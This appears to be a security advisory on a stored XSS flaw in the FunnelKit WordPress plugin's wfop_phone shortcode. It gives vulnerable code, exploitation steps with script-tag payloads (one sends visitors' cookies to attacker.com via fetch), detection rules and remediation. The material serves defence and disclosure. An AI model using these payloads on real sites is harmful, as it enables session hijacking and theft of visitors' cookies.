CVE-2025-12878

Executive Summary

CVE-2025-12878 is a Stored Cross-Site Scripting (XSS) vulnerability in the FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress, affecting all versions up to and including 3.13.1.2. The vulnerability resides in the wfop_phone shortcode, specifically in the handling of the user-supplied default attribute. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode, leading to potential session hijacking, data theft, or defacement. The CVSS score is 6.4 (Medium), and no official patch has been released by the vendor. This report provides a comprehensive analysis, detection rules, and mitigation strategies.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress software or web servers like Apache or Nginx. The attack vector relies on the plugin's shortcode functionality, which is a common feature in WordPress plugins.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
• User Interaction (UI): None – The exploit does not require user interaction.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated attackers to inject persistent scripts poses a significant risk to site integrity and user trust.

Deep Dive & Mechanics

The vulnerability is located in the wfop_phone shortcode, which is part of the FunnelKit plugin. This shortcode is used to display phone number fields in checkout forms. The default attribute allows users to set a default value for the phone field. However, the plugin fails to properly sanitize and escape this attribute before rendering it in the HTML output.

Root Cause: The plugin uses the default attribute value directly in the HTML without applying WordPress's built-in escaping functions like esc_attr() or esc_html(). This allows an attacker to inject malicious JavaScript code.

Attack Flow:

1. An authenticated user with Contributor-level access or higher creates or edits a post/page.
2. The attacker inserts the [wfop_phone default="<script>alert('XSS')</script>"] shortcode.
3. When any user (including administrators) visits the page, the script executes in their browser.
4. The attacker can then steal cookies, redirect users, or perform other malicious actions.

Why Stored XSS is Dangerous: Unlike reflected XSS, stored XSS persists on the server. Every visitor to the compromised page is affected, making it a potent vector for widespread attacks.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.13.1.2):

// In the shortcode handler function
$default = $atts['default'];
echo '<input type="tel" value="' . $default . '" />';

Patched Code (hypothetical):

// Properly escaped
$default = esc_attr($atts['default']);
echo '<input type="tel" value="' . $default . '" />';

The vulnerable code directly concatenates the user-supplied default attribute into the HTML without escaping. The patched code uses esc_attr() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with FunnelKit plugin version <= 3.13.1.2.
• An authenticated account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/HTML editor.
4. Insert the following shortcode:

   [wfop_phone default="<script>alert(document.cookie)</script>"]
   

5. Publish or update the post.
6. When any user visits the post, the JavaScript executes.

Advanced Payload:

[wfop_phone default="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Note: No public exploit code is available from Exploit-DB or other sources.

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the [wfop_phone shortcode with suspicious default attributes.
• Use the detection rules provided in the Detection Engineering section.

Prevention:

• Disable the FunnelKit plugin until a patch is available.
• Restrict Contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File Indicators: Modified WordPress posts/pages containing the [wfop_phone shortcode with script tags in the default attribute.
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log Indicators: WordPress audit logs showing creation/editing of posts by Contributor-level users with unusual shortcode usage.
• Browser Indicators: JavaScript execution on pages containing the vulnerable shortcode.

Detection Engineering

YARA Rule

rule CVE_2025_12878_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in FunnelKit wfop_phone shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12878"
    strings:
        $shortcode = /\[wfop_phone\s+default\s*=\s*["'][^"']*<script[^>]*>.*?<\/script>[^"']*["']/
    condition:
        $shortcode
}

Sigma Rule

title: FunnelKit Stored XSS via wfop_phone Shortcode
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts using the wfop_phone shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'wfop_phone'
        http.url|re: 'default=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12878 FunnelKit Stored XSS Attempt"; flow:to_server; content:"wfop_phone"; http_uri; pcre:"/default\s*=\s*[\x22\x27][^\x22\x27]*<script[^>]*>.*?<\/script>[^\x22\x27]*[\x22\x27]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the FunnelKit plugin until a patched version is released.
2. Audit Existing Content: Scan all posts and pages for the [wfop_phone shortcode with suspicious default attributes. Remove or sanitize any found.
3. Restrict User Roles: Limit Contributor-level access to only trusted users. Consider using a plugin to enforce stricter role-based permissions.

Long-Term Fix:

• The vendor must release a patched version that properly escapes the default attribute using esc_attr() or similar functions.
• Implement a Content Security Policy (CSP) to mitigate the impact of XSS attacks.

Workarounds:

• Use a WAF with custom rules to block requests containing [wfop_phone with script tags.
• Apply a virtual patch via a security plugin like Wordfence or Sucuri.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert